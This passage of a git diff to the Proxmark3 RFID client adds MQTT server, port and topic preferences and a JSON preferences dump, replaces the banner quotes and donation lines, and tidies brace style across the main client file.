0, "lf idteck reader" }, @@ -768,6 +799,7 @@ const static vocabulary_t vocabulary[] = { { 0, "lf t55xx restore" }, { 1, "lf t55xx trace" }, { 0, "lf t55xx wakeup" }, + { 1, "lf t55xx view" }, { 0, "lf t55xx write" }, { 0, "lf t55xx bruteforce" }, { 0, "lf t55xx chk" }, @@ -806,6 +838,9 @@ const static vocabulary_t vocabulary[] = { { 0, "mem spiffs upload" }, { 0, "mem spiffs view" }, { 0, "mem spiffs wipe" }, + { 1, "mqtt help" }, + { 1, "mqtt send" }, + { 1, "mqtt receive" }, { 1, "nfc help" }, { 1, "nfc decode" }, { 0, "nfc type1 read" }, diff --git a/client/src/preferences.c b/client/src/preferences.c index a3d05b774..f654a8533 100644 --- a/client/src/preferences.c +++ b/client/src/preferences.c @@ -48,6 +48,54 @@ static char *prefGetFilename(void) { return str_dup(preferencesFilename); } +static bool setDefaultMqttServer(const char *srv) { + + if ((srv == NULL) && (g_session.mqtt_server != NULL)) { + free(g_session.mqtt_server); + g_session.mqtt_server = NULL; + } + + if (srv == NULL) { + return false; + } + + g_session.mqtt_server = (char *)realloc(g_session.mqtt_server, strlen(srv) + 1); + strcpy(g_session.mqtt_server, srv); + return true; +} + +static bool setDefaultMqttPort(const char *port) { + + if ((port == NULL) && (g_session.mqtt_port != NULL)) { + free(g_session.mqtt_port); + g_session.mqtt_port = NULL; + } + + if (port == NULL) { + return false; + } + + g_session.mqtt_port = (char *)realloc(g_session.mqtt_port, strlen(port) + 1); + strcpy(g_session.mqtt_port, port); + return true; +} + +static bool setDefaultMqttTopic(const char *topic) { + + if ((topic == NULL) && (g_session.mqtt_topic != NULL)) { + free(g_session.mqtt_topic); + g_session.mqtt_topic = NULL; + } + + if (topic == NULL) { + return false; + } + + g_session.mqtt_topic = (char *)realloc(g_session.mqtt_topic, strlen(topic) + 1); + strcpy(g_session.mqtt_topic, topic); + return true; +} + int preferences_load(void) { // Set all defaults @@ -73,23 +121,30 @@ int preferences_load(void) { setDefaultPath(spDump, ""); setDefaultPath(spTrace, ""); + setDefaultMqttServer(""); + setDefaultMqttPort(""); + setDefaultMqttTopic(""); + // default save path - if (get_my_user_directory() != NULL) // should return path to .proxmark3 folder + if (get_my_user_directory() != NULL) { // should return path to .proxmark3 folder setDefaultPath(spDefault, get_my_user_directory()); - else + } else { setDefaultPath(spDefault, "."); + } // default dump path - if (get_my_user_directory() != NULL) // should return path to .proxmark3 folder + if (get_my_user_directory() != NULL) { // should return path to .proxmark3 folder setDefaultPath(spDump, get_my_user_directory()); - else + } else { setDefaultPath(spDump, "."); + } // default dump path - if (get_my_user_directory() != NULL) // should return path to .proxmark3 folder + if (get_my_user_directory() != NULL) {// should return path to .proxmark3 folder setDefaultPath(spTrace, get_my_user_directory()); - else + } else { setDefaultPath(spTrace, "."); + } if (g_session.incognito) { PrintAndLogEx(INFO, "No preferences file will be loaded"); @@ -127,13 +182,13 @@ int preferences_save(void) { char *fn = prefGetFilename(); int fn_len = strlen(fn) + 5; // .bak\0 - // [FILENAME_MAX+sizeof(preferencesFilename)+10] char *backupFilename = (char *)calloc(fn_len, sizeof(uint8_t)); if (backupFilename == NULL) { - PrintAndLogEx(ERR, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(fn); return PM3_EMALLOC; } + snprintf(backupFilename, fn_len, "%s.bak", fn); // remove old backup file @@ -168,6 +223,16 @@ int preferences_save(void) { return PM3_SUCCESS; } +// Dump all settings from memory (struct) to console in JSON +int preferences_dump(void) { + uint8_t dummyData = 0x00; + size_t dummyDL = 0x01; + char *s = sprintJSON(jsfCustom, &dummyData, dummyDL, true, &preferences_save_callback); + PrintAndLogEx(NORMAL, "%s", s); + free(s); + return PM3_SUCCESS; +} + void preferences_save_callback(json_t *root) { JsonSaveStr(root, "FileType", "settings"); @@ -264,7 +329,13 @@ void preferences_save_callback(json_t *root) { */ JsonSaveInt(root, "client.exe.delay", g_session.client_exe_delay); JsonSaveInt(root, "client.timeout", g_session.timeout); + + // MQTT + JsonSaveStr(root, "mqtt.server", g_session.mqtt_server); + JsonSaveStr(root, "mqtt.port", g_session.mqtt_port); + JsonSaveStr(root, "mqtt.topic", g_session.mqtt_topic); } + void preferences_load_callback(json_t *root) { json_error_t up_error = {0}; int b1; @@ -368,6 +439,17 @@ void preferences_load_callback(json_t *root) { // client command timeout if (json_unpack_ex(root, &up_error, 0, "{s:i}", "client.timeout", &i1) == 0) g_session.timeout = i1; + + // MQTT server + if (json_unpack_ex(root, &up_error, 0, "{s:s}", "mqtt.server", &s1) == 0) + setDefaultMqttServer(s1); + + if (json_unpack_ex(root, &up_error, 0, "{s:s}", "mqtt.port", &s1) == 0) + setDefaultMqttPort(s1); + + if (json_unpack_ex(root, &up_error, 0, "{s:s}", "mqtt.topic", &s1) == 0) + setDefaultMqttTopic(s1); + } // Help Functions @@ -387,7 +469,6 @@ static const char *pref_show_status_msg(prefShowOpt_t opt) { case prefShowUnknown: default: return ""; - } } @@ -507,6 +588,7 @@ static void showSavePathState(savePaths_t path_index, prefShowOpt_t opt) { case spItemCount: default: strcpy(s, _RED_("unknown")" save path......."); + break; } if (path_index < spItemCount) { @@ -589,6 +671,30 @@ static void showClientTimeoutState(void) { PrintAndLogEx(INFO, " communication timeout... " _GREEN_("%u") " ms", g_session.timeout); } +static void showMqttServer(prefShowOpt_t opt) { + if ((g_session.mqtt_server == NULL) || (strcmp(g_session.mqtt_server, "") == 0)) { + PrintAndLogEx(INFO, " MQTT server.............%s "_WHITE_("not set"), pref_show_status_msg(opt)); + } else { + PrintAndLogEx(INFO, " MQTT server.............%s "_GREEN_("%s"), pref_show_status_msg(opt), g_session.mqtt_server); + } +} + +static void showMqttPort(prefShowOpt_t opt) { + if ((g_session.mqtt_port == NULL) || (strcmp(g_session.mqtt_port, "") == 0)) { + PrintAndLogEx(INFO, " MQTT port...............%s "_WHITE_("not set"), pref_show_status_msg(opt)); + } else { + PrintAndLogEx(INFO, " MQTT port...............%s "_GREEN_("%s"), pref_show_status_msg(opt), g_session.mqtt_port); + } +} + +static void showMqttTopic(prefShowOpt_t opt) { + if ((g_session.mqtt_topic == NULL) || (strcmp(g_session.mqtt_topic, "") == 0)) { + PrintAndLogEx(INFO, " MQTT topic..............%s "_WHITE_("not set"), pref_show_status_msg(opt)); + } else { + PrintAndLogEx(INFO, " MQTT topic..............%s "_GREEN_("%s"), pref_show_status_msg(opt), g_session.mqtt_topic); + } +} + static int setCmdEmoji(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "prefs set emoji ", @@ -924,7 +1030,7 @@ static int setCmdExeDelay(const char *Cmd) { return PM3_SUCCESS; } -static int setClientTimeout(const char *Cmd) { +static int setCmdClientTimeout(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "prefs set client.timeout", "Set persistent preference of client communication timeout", @@ -1175,6 +1281,80 @@ static int setCmdBarMode(const char *Cmd) { return PM3_SUCCESS; } +static int setCmdMqtt(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "prefs set mqtt", + "Set persistent preference MQTT Server in the client", + "prefs set mqtt -s test.mosquito.com\n" + "prefs set mqtt -s test.mosquito.com -p 1883 -t proxdump\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("s", "srv", "", "default MQTT Server"), + arg_str0("p", "port", "", "default MQTT Port"), + arg_str0("t", "topic", "", "default MQTT Topic"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + int deflen = 0; + char def_server[128] = {0}; + memset(def_server, 0, sizeof(def_server)); + int res = CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)def_server, sizeof(def_server), &deflen); + + int plen = 0; + char def_port[10] = {0}; + memset(def_port, 0, sizeof(def_port)); + res |= CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)def_port, sizeof(def_port), &plen); + + int tlen = 0; + char def_topic[10] = {0}; + memset(def_topic, 0, sizeof(def_topic)); + res |= CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)def_topic, sizeof(def_topic), &tlen); + CLIParserFree(ctx); + + // sanity checks + if (res) { + PrintAndLogEx(FAILED, "Error parsing input strings"); + return PM3_EINVARG; + } + + if (deflen) { + if (strcmp(def_server, g_session.mqtt_server) != 0) { + showMqttServer(prefShowOLD); + setDefaultMqttServer(def_server); + showMqttServer(prefShowNEW); + preferences_save(); + } else { + showMqttServer(prefShowNone); + } + } + + if (plen) { + if (strcmp(def_port, g_session.mqtt_port) != 0) { + showMqttPort(prefShowOLD); + setDefaultMqttPort(def_port); + showMqttPort(prefShowNEW); + preferences_save(); + } else { + showMqttPort(prefShowNone); + } + } + + if (tlen) { + if (strcmp(def_topic, g_session.mqtt_topic) != 0) { + showMqttTopic(prefShowOLD); + setDefaultMqttTopic(def_topic); + showMqttTopic(prefShowNEW); + preferences_save(); + } else { + showMqttTopic(prefShowNone); + } + } + + return PM3_SUCCESS; +} + static int getCmdEmoji(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "prefs get emoji", @@ -1321,7 +1501,7 @@ static int getCmdExeDelay(const char *Cmd) { return PM3_SUCCESS; } -static int getClientTimeout(const char *Cmd) { +static int getCmdClientTimeout(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "prefs get client.timeout", "Get preference of delay time before execution of a command in the client", @@ -1337,11 +1517,29 @@ static int getClientTimeout(const char *Cmd) { return PM3_SUCCESS; } +static int getCmdMqtt(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "prefs get mqtt", + "Get preference of MQTT settings in the client", + "prefs get mqtt" + ); + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + CLIParserFree(ctx); + showMqttServer(prefShowNone); + showMqttPort(prefShowNone); + showMqttTopic(prefShowNone); + return PM3_SUCCESS; +} + static command_t CommandTableGet[] = { {"barmode", getCmdBarMode, AlwaysAvailable, "Get bar mode preference"}, {"client.debug", getCmdDebug, AlwaysAvailable, "Get client debug level preference"}, {"client.delay", getCmdExeDelay, AlwaysAvailable, "Get client execution delay preference"}, - {"client.timeout", getClientTimeout, AlwaysAvailable, "Get client execution delay preference"}, + {"client.timeout", getCmdClientTimeout, AlwaysAvailable, "Get client execution delay preference"}, {"color", getCmdColor, AlwaysAvailable, "Get color support preference"}, {"savepaths", getCmdSavePaths, AlwaysAvailable, "Get file folder "}, // {"devicedebug", getCmdDeviceDebug, AlwaysAvailable, "Get device debug level"}, @@ -1349,6 +1547,7 @@ static command_t CommandTableGet[] = { {"hints", getCmdHint, AlwaysAvailable, "Get hint display preference"}, {"output", getCmdOutput, AlwaysAvailable, "Get dump output style preference"}, {"plotsliders", getCmdPlotSlider, AlwaysAvailable, "Get plot slider display preference"}, + {"mqtt", getCmdMqtt, AlwaysAvailable, "Get MQTT preference"}, {NULL, NULL, NULL, NULL} }; @@ -1357,7 +1556,7 @@ static command_t CommandTableSet[] = { {"barmode", setCmdBarMode, AlwaysAvailable, "Set bar mode"}, {"client.debug", setCmdDebug, AlwaysAvailable, "Set client debug level"}, {"client.delay", setCmdExeDelay, AlwaysAvailable, "Set client execution delay"}, - {"client.timeout", setClientTimeout, AlwaysAvailable, "Set client communication timeout"}, + {"client.timeout", setCmdClientTimeout, AlwaysAvailable, "Set client communication timeout"}, {"color", setCmdColor, AlwaysAvailable, "Set color support"}, {"emoji", setCmdEmoji, AlwaysAvailable, "Set emoji display"}, @@ -1366,6 +1565,7 @@ static command_t CommandTableSet[] = { // {"devicedebug", setCmdDeviceDebug, AlwaysAvailable, "Set device debug level"}, {"output", setCmdOutput, AlwaysAvailable, "Set dump output style"}, {"plotsliders", setCmdPlotSliders, AlwaysAvailable, "Set plot slider display"}, + {"mqtt", setCmdMqtt, AlwaysAvailable, "Set MQTT default values"}, {NULL, NULL, NULL, NULL} }; @@ -1393,11 +1593,18 @@ static int CmdPrefShow(const char *Cmd) { ); void *argtable[] = { arg_param_begin, + arg_lit0("j", "json", "Dump prefs as JSON"), arg_param_end }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + bool json_dump = arg_get_lit(ctx, 1); CLIParserFree(ctx); + if (json_dump) { + preferences_dump(); + return PM3_SUCCESS; + } if (g_session.preferences_loaded) { char *fn = prefGetFilename(); PrintAndLogEx(NORMAL, ""); @@ -1423,6 +1630,9 @@ static int CmdPrefShow(const char *Cmd) { showClientExeDelayState(); showOutputState(prefShowNone); showClientTimeoutState(); + showMqttServer(prefShowNone); + showMqttPort(prefShowNone); + showMqttTopic(prefShowNone); PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; diff --git a/client/src/preferences.h b/client/src/preferences.h index e49b64d9c..f3169eb32 100644 --- a/client/src/preferences.h +++ b/client/src/preferences.h @@ -27,6 +27,7 @@ int CmdPreferences(const char *Cmd); int preferences_load(void); int preferences_save(void); +int preferences_dump(void); void preferences_save_callback(json_t *root); void preferences_load_callback(json_t *root); diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index 7d93473a3..2904aaab8 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -17,14 +17,12 @@ //----------------------------------------------------------------------------- #include "proxmark3.h" - #include #include #include #include #include // basename #include - #include "pm3line.h" #include "usart_defs.h" #include "util_posix.h" @@ -43,13 +41,12 @@ #include #endif - static int mainret = PM3_SUCCESS; #ifndef LIBPM3 #define BANNERMSG1 "" -#define BANNERMSG2 " [ :coffee: ]" -#define BANNERMSG3 "Release v4.18994 - Backdoor" +#define BANNERMSG2 "" +#define BANNERMSG3 "" typedef enum LogoMode { UTF8, ANSI, ASCII } LogoMode; @@ -75,8 +72,9 @@ static void showBanner_logo(LogoMode mode) { sq, sq, tl, hl, hl, hl, br, __, sq, sq, vl, bl, sq, sq, tl, br, sq, sq, vl, __, bl, hl, hl, sq, sq, tr); PrintAndLogEx(NORMAL, " " _BLUE_("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")" " BANNERMSG1, sq, sq, vl, __, __, __, __, __, sq, sq, vl, __, bl, hl, br, __, sq, sq, vl, sq, sq, sq, sq, sq, tl, br); - PrintAndLogEx(NORMAL, " " _BLUE_("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")" " BANNERMSG2, + PrintAndLogEx(NORMAL, " " _BLUE_("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"), bl, hl, br, __, __, __, __, __, bl, hl, br, __, __, __, __, __, bl, hl, br, bl, hl, hl, hl, hl, br, __); + PrintAndLogEx(NORMAL, " " BANNERMSG2); break; } case ANSI: { @@ -87,7 +85,8 @@ static void showBanner_logo(LogoMode mode) { PrintAndLogEx(NORMAL, " " _CYAN_("8888888P\" 888 Y888P 888 \"Y8b. ")); PrintAndLogEx(NORMAL, " " _CYAN_("888 888 Y8P 888 888 888 ")); PrintAndLogEx(NORMAL, " " _CYAN_("888 888 \" 888 Y88b d88P") " " BANNERMSG1); - PrintAndLogEx(NORMAL, " " _CYAN_("888 888 888 \"Y8888P\"") " " BANNERMSG2); + PrintAndLogEx(NORMAL, " " _CYAN_("888 888 888 \"Y8888P\"")); + PrintAndLogEx(NORMAL, " " BANNERMSG2); break; } case ASCII: { @@ -98,11 +97,11 @@ static void showBanner_logo(LogoMode mode) { PrintAndLogEx(NORMAL, " 8888888P\" 888 Y888P 888 \"Y8b. "); PrintAndLogEx(NORMAL, " 888 888 Y8P 888 888 888 "); PrintAndLogEx(NORMAL, " 888 888 \" 888 Y88b d88P " BANNERMSG1); - PrintAndLogEx(NORMAL, " 888 888 888 \"Y8888P\" " BANNERMSG2); + PrintAndLogEx(NORMAL, " 888 888 888 \"Y8888P\""); + PrintAndLogEx(NORMAL, " " BANNERMSG2); break; } } - PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, BANNERMSG3); } @@ -125,83 +124,65 @@ static uint8_t detect_current_lang(void) { static const char *get_quote(void) { const char *quotes_en[] = { - "Fund creativity, empower dreams", - "Invest in open innovation", - "Donate, empower, grow, sustain", - "Back global innovation today", - "Fuel open source revolution", - "Contribute funds, drive progress", - "Sponsor innovation, build tomorrow", - "Consider supporting: fund innovation", - "Your donation fuels progress", - "Empower dreams with your support", - "Join us: finance creative freedom", - "Make an impact: donate today", - "Help us drive open innovation", - "Your support, our future", - "Invest in a better tomorrow", - "Every contribution powers change", - "Support us, shape the future", - "Ignite change: support open-source creativity", - "Together, we can innovate without limits", + "too many secrets", + "It's not that simple", + "I have received a coded signal", + "I await your instructions", + "And so I watch, I wait", + "Listen to the Domain", + "ghost.713", + "Local node X.XX.713", + "Beggar after knowledge", + "343 Gulity Spark: offline", + "I serve the Builders!", + "This is rather distressing" }; const char *quotes_fr[] = { - "Financez la créativité, donnez pouvoir aux rêves", - "Investissez dans l'innovation ouverte", - "Donnez, habilitez, croissez, soutenez", - "Soutenez l'innovation mondiale aujourd'hui", - "Alimentez la révolution open source", - "Contribuez financièrement, poussez le progrès", - "Parrainez l'innovation, construisez demain", - "Envisagez de soutenir : financez l'innovation", - "Votre don alimente le progrès", - "Donnez pouvoir aux rêves avec votre soutien", - "Rejoignez-nous : financez la liberté créative", - "Faites une différence : donnez aujourd'hui", - "Aidez-nous à stimuler l'innovation ouverte", - "Votre soutien, notre avenir", - "Investissez dans un meilleur demain", - "Chaque contribution favorise le changement", - "Soutenez-nous, façonnez l'avenir", - "Allumez le changement : soutenez la créativité open-source", - "Ensemble, nous pouvons innover sans limites", + "Liberté, égalité, fraternité", + "L'avenir appartient à ceux qui croient à la beauté de leurs rêves", + "Rien n'est impossible", + "La vie est un défi, relève-le!", + "Qui ne tente rien n'a rien", + "Le succès est la somme de petits efforts, répétés jour après jour", + "Faites de votre vie un rêve, et d'un rêve, une réalité", + "La seule façon de faire du bon travail est d'aimer ce que vous faites", + "Tout ce que vous pouvez faire, faites-le", + "Le succès, c'est d'aller d'échec en échec sans perdre son enthousiasme", + "Crois en toi et tout deviendra possible", + "C'est en tombant qu'on apprend à se relever" }; const char *quotes_es[] = { - "Financia la creatividad, empodera sueños", - "Invierte en innovación abierta", - "Dona, empodera, crece, sostén", - "Apoya la innovación global hoy", - "Impulsa la revolución de código abierto", - "Contribuye fondos, impulsa el progreso", - "Patrocina la innovación, construye el mañana", - "Considera apoyar: financia la innovación", - "Tu donación impulsa el progreso", - "Empodera sueños con tu apoyo", - "Únete a nosotros: financia la libertad creativa", - "Haz un impacto: dona hoy", - "Ayúdanos a impulsar la innovación abierta", - "Tu apoyo, nuestro futuro", - "Invierte en un mejor mañana", - "Cada contribución impulsa el cambio", - "Apóyanos, forma el futuro", - "Enciende el cambio: apoya la creatividad de código abierto", - "Juntos, podemos innovar sin límites", + "El éxito es la suma de pequeños esfuerzos repetidos día tras día", + "Hazlo con pasión o no lo hagas", + "Nunca dejes de soñar", + "El único modo de hacer un gran trabajo es amar lo que haces", + "No hay que ir para atrás ni para darse impulso", + "Cada logro comienza con la decisión de intentarlo", + "No importa lo lento que vayas, siempre y cuando no te detengas", + "La disciplina es el puente entre las metas y los logros", + "Si puedes soñarlo, puedes lograrlo", + "La vida es una aventura, atrévete", }; + int r = 0; srand((uint32_t)time(NULL)); - int r = rand() % ARRAYLEN(quotes_en); - uint8_t lang = detect_current_lang(); switch (lang) { - case 2: + case 2: { + r = rand() % ARRAYLEN(quotes_fr); return quotes_fr[r]; - case 3: + } + case 3: { + r = rand() % ARRAYLEN(quotes_es); return quotes_es[r]; + } case 1: - default: + default: { + r = rand() % ARRAYLEN(quotes_en); return quotes_en[r]; + } } } @@ -223,11 +204,8 @@ static void showBanner(void) { showBanner_logo(ASCII); #endif - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, " [ " _YELLOW_("%s!")" ]", get_quote()); - PrintAndLogEx(NORMAL, " Patreon - https://www.patreon.com/iceman1001/"); - PrintAndLogEx(NORMAL, " Paypal - https://www.paypal.me/iceman1001/"); - PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " [ " _YELLOW_("%s!")" :coffee: ]", get_quote()); +// PrintAndLogEx(NORMAL, " [ https://patreon.com/iceman1001/ ]"); // PrintAndLogEx(NORMAL, " Monero"); // PrintAndLogEx(NORMAL, " 43mNJLpgBVaTvyZmX9ajcohpvVkaRy1kbZPm8tqAb7itZgfuYecgkRF36rXrKFUkwEGeZedPsASRxgv4HPBHvJwyJdyvQuP"); PrintAndLogEx(NORMAL, ""); @@ -278,7 +256,7 @@ static void prompt_compose(char *buf, size_t buflen, const char *promptctx, cons if (no_newline) { snprintf(buf, buflen - 1, PROXPROMPT_COMPOSE, promptdev, promptnet, promptctx); } else { - snprintf(buf, buflen - 1, "\r \r" PROXPROMPT_COMPOSE, promptdev, promptnet, promptctx); + snprintf(buf, buflen - 1, "\33[2K\r" PROXPROMPT_COMPOSE, promptdev, promptnet, promptctx); } } @@ -326,16 +304,18 @@ static bool DetectWindowsAnsiSupport(void) { #endif // disable colors if stdin or stdout are redirected - if ((! g_session.stdinOnTTY) || (! g_session.stdoutOnTTY)) + if ((! g_session.stdinOnTTY) || (! g_session.stdoutOnTTY)) { return false; + } HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE); DWORD dwMode = 0; GetConsoleMode(hOut, &dwMode); //ENABLE_VIRTUAL_TERMINAL_PROCESSING is already set - if ((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) + if ((dwMode & ENABLE_VIRTUAL_TERMINAL_PROCESSING)) { return true; + } dwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING; @@ -355,11 +335,13 @@ int push_cmdscriptfile(char *path, bool stayafter) { } FILE *f = fopen(path, "r"); - if (f == NULL) + if (f == NULL) { return PM3_EFILE; + } - if (cmdscriptfile_idx == 0) + if (cmdscriptfile_idx == 0) { cmdscriptfile_stayafter = stayafter; + } cmdscriptfile[++cmdscriptfile_idx] = f; return PM3_SUCCESS; @@ -391,28 +373,32 @@ main_loop(const char *script_cmds_file, char *script_cmd, bool stayInCommandLoop bool execCommand = (script_cmd != NULL); bool fromInteractive = false; uint16_t script_cmd_len = 0; + if (execCommand) { script_cmd_len = strlen(script_cmd); str_creplace(script_cmd, script_cmd_len, ';', '\0'); } + bool stdinOnPipe = !isatty(STDIN_FILENO); char script_cmd_buf[256] = {0x00}; // iceman, needs lua script the same file_path_buffer as the rest // cache Version information now: - if (execCommand || script_cmds_file || stdinOnPipe) + if (execCommand || script_cmds_file || stdinOnPipe) { pm3_version(false, false); - else + } else { pm3_version_short(); + } if (script_cmds_file) { char *path; int res = searchFile(&path, CMD_SCRIPTS_SUBDIR, script_cmds_file, ".cmd", false); if (res == PM3_SUCCESS) { - if (push_cmdscriptfile(path, stayInCommandLoop) == PM3_SUCCESS) + if (push_cmdscriptfile(path, stayInCommandLoop) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "executing commands from file: %s\n", path); - else + } else { PrintAndLogEx(ERR, "could not open " _YELLOW_("%s") "...", path); + } free(path); } } @@ -469,20 +455,23 @@ check_script: prompt_ctx = stdinOnPipe ? PROXPROMPT_CTX_STDIN : PROXPROMPT_CTX_SCRIPTCMD; cmd = str_dup(script_cmd); - if ((cmd != NULL) && (! fromInteractive)) + if ((cmd != NULL) && (! fromInteractive)) { printprompt = true; + } uint16_t len = strlen(script_cmd) + 1; script_cmd += len; - if (script_cmd_len == len - 1) + if (script_cmd_len == len - 1) { execCommand = false; + } script_cmd_len -= len; } else { // exit after exec command - if (script_cmd && !stayInCommandLoop) + if (script_cmd && !stayInCommandLoop) { break; + } // if there is a pipe from stdin if (stdinOnPipe) { @@ -572,22 +561,27 @@ check_script: mainret = CommandReceived(cmd); // exit or quit - if (mainret == PM3_EFATAL) + if (mainret == PM3_EFATAL) { break; + } + if (mainret == PM3_SQUIT) { // Normal quit, map to 0 mainret = PM3_SUCCESS; break; } } + free(cmd); cmd = NULL; + } else { PrintAndLogEx(NORMAL, "\n"); - if (script_cmds_file && stayInCommandLoop) + if (script_cmds_file && stayInCommandLoop) { stayInCommandLoop = false; - else + } else { break; + } } } // end while @@ -636,8 +630,9 @@ const char *get_my_executable_directory(void) { static void set_my_executable_path(void) { int path_length = wai_getExecutablePath(NULL, 0, NULL); - if (path_length == -1) + if (path_length == -1) { return; + } my_executable_path = (char *)calloc(path_length + 1, sizeof(uint8_t)); int dirname_length = 0; @@ -676,7 +671,7 @@ static void set_my_user_directory(void) { uint16_t pathLen = FILENAME_MAX; // should be a good starting point char *cwd_buffer = (char *)calloc(pathLen, sizeof(uint8_t)); if (cwd_buffer == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; } @@ -685,7 +680,7 @@ static void set_my_user_directory(void) { pathLen += 10; // if buffer was too small add 10 characters and try again char *tmp = realloc(cwd_buffer, pathLen); if (tmp == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(cwd_buffer); return; } @@ -780,7 +775,7 @@ static int dumpmem_to_file(const char *filename, uint32_t addr, uint32_t len, bo uint8_t *buffer = calloc(len, sizeof(uint8_t)); if (buffer == NULL) { - PrintAndLogEx(ERR, "error, cannot allocate memory "); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -862,12 +857,13 @@ finish2: CloseProxmark(g_session.current_device); finish: - if (ret == PM3_SUCCESS) + if (ret == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, _CYAN_("All done")); - else if (ret == PM3_EOPABORTED) + } else if (ret == PM3_EOPABORTED) { PrintAndLogEx(FAILED, "Aborted by user"); - else + } else { PrintAndLogEx(ERR, "Aborted on error %u", ret); + } return ret; } @@ -926,8 +922,9 @@ static int flash_pm3(char *serial_port_name, uint8_t num_files, const char *file goto finish; } - if (num_files == 0) + if (num_files == 0) { goto finish; + } for (int i = 0 ; i < num_files; ++i) { ret = flash_prepare(&files[i], can_write_bl, max_allowed * ONE_KB); @@ -948,20 +945,26 @@ static int flash_pm3(char *serial_port_name, uint8_t num_files, const char *file } finish: - if (ret != PM3_SUCCESS) + if (ret != PM3_SUCCESS) { PrintAndLogEx(WARNING, "The flashing procedure failed, follow the suggested steps!"); + } + ret = flash_stop_flashing(); CloseProxmark(g_session.current_device); + finish2: for (int i = 0 ; i < num_files; ++i) { flash_free(&files[i]); } - if (ret == PM3_SUCCESS) + + if (ret == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, _CYAN_("All done")); - else if (ret == PM3_EOPABORTED) + } else if (ret == PM3_EOPABORTED) { PrintAndLogEx(FAILED, "Aborted by user"); - else + } else { PrintAndLogEx(ERR, "Aborted on error"); + } + PrintAndLogEx(INFO, "\nHave a nice day!"); return ret; } @@ -997,7 +1000,6 @@ void pm3_init(void) { // set global variables soon enough to get the log path set_my_executable_path(); set_my_user_directory(); - } #ifndef LIBPM3 @@ -1072,6 +1074,7 @@ int main(int argc, char *argv[]) { show_help(false, exec_name); return 1; } + if (port != NULL) { // We got already one PrintAndLogEx(ERR, _RED_("ERROR:") " cannot parse command line. We got " _YELLOW_("%s") " as port and now we got also: " _YELLOW_("%s") "\n", port, argv[i + 1]); @@ -1333,20 +1336,22 @@ int main(int argc, char *argv[]) { // This will allow the command line to override the settings.json values preferences_load(); // quick patch for debug level - if (! debug_mode_forced) + if (debug_mode_forced == false) { g_debugMode = g_session.client_debug_level; + } // settings_save (); // End Settings // even if prefs, we disable colors if stdin or stdout is not a TTY - if ((! g_session.stdinOnTTY) || (! g_session.stdoutOnTTY)) { + if ((g_session.stdinOnTTY == false) || (g_session.stdoutOnTTY == false)) { g_session.supports_colors = false; g_session.emoji_mode = EMO_ALTTEXT; } // Let's take a baudrate ok for real UART, USB-CDC & BT don't use that info anyway - if (speed == 0) + if (speed == 0) { speed = USART_BAUD_RATE; + } if (dumpmem_mode) { dumpmem_pm3(port, dumpmem_filename, dumpmem_addr, dumpmem_len, dumpmem_raw); @@ -1364,8 +1369,9 @@ int main(int argc, char *argv[]) { } if (script_cmd) { - while (script_cmd[strlen(script_cmd) - 1] == ' ') + while (script_cmd[strlen(script_cmd) - 1] == ' ') { script_cmd[strlen(script_cmd) - 1] = 0x00; + } if (strlen(script_cmd) == 0) { script_cmd = NULL; @@ -1398,23 +1404,23 @@ int main(int argc, char *argv[]) { CloseProxmark(g_session.current_device); } - if ((port != NULL) && (!g_session.pm3_present)) { + if ((port != NULL) && (g_session.pm3_present == false)) { exit(EXIT_FAILURE); } - if (!g_session.pm3_present) { + if (g_session.pm3_present == false) { PrintAndLogEx(INFO, _YELLOW_("OFFLINE") " mode. Check " _YELLOW_("\"%s -h\"") " if it's not what you want.\n", exec_name); } // ascii art only in interactive client - if (!script_cmds_file && !script_cmd && g_session.stdinOnTTY && g_session.stdoutOnTTY && !dumpmem_mode && !flash_mode && !reboot_bootloader_mode) { + if (!script_cmds_file && !script_cmd && g_session.stdinOnTTY && g_session.stdoutOnTTY && (dumpmem_mode == false) && (flash_mode == false) && (reboot_bootloader_mode == false)) { showBanner(); } // Save settings if not loaded from settings json file. // Doing this here will ensure other checks and updates are saved to over rule default // e.g. Linux color use check - if ((!g_session.preferences_loaded) && (!g_session.incognito)) { + if ((g_session.preferences_loaded == false) && (g_session.incognito == false)) { PrintAndLogEx(INFO, "Creating initial preferences file"); // json save reports file name, so just info msg here preferences_save(); // Save defaults g_session.preferences_loaded = true; @@ -1434,7 +1440,7 @@ int main(int argc, char *argv[]) { #ifdef HAVE_GUI -# if defined(_WIN32) +# if 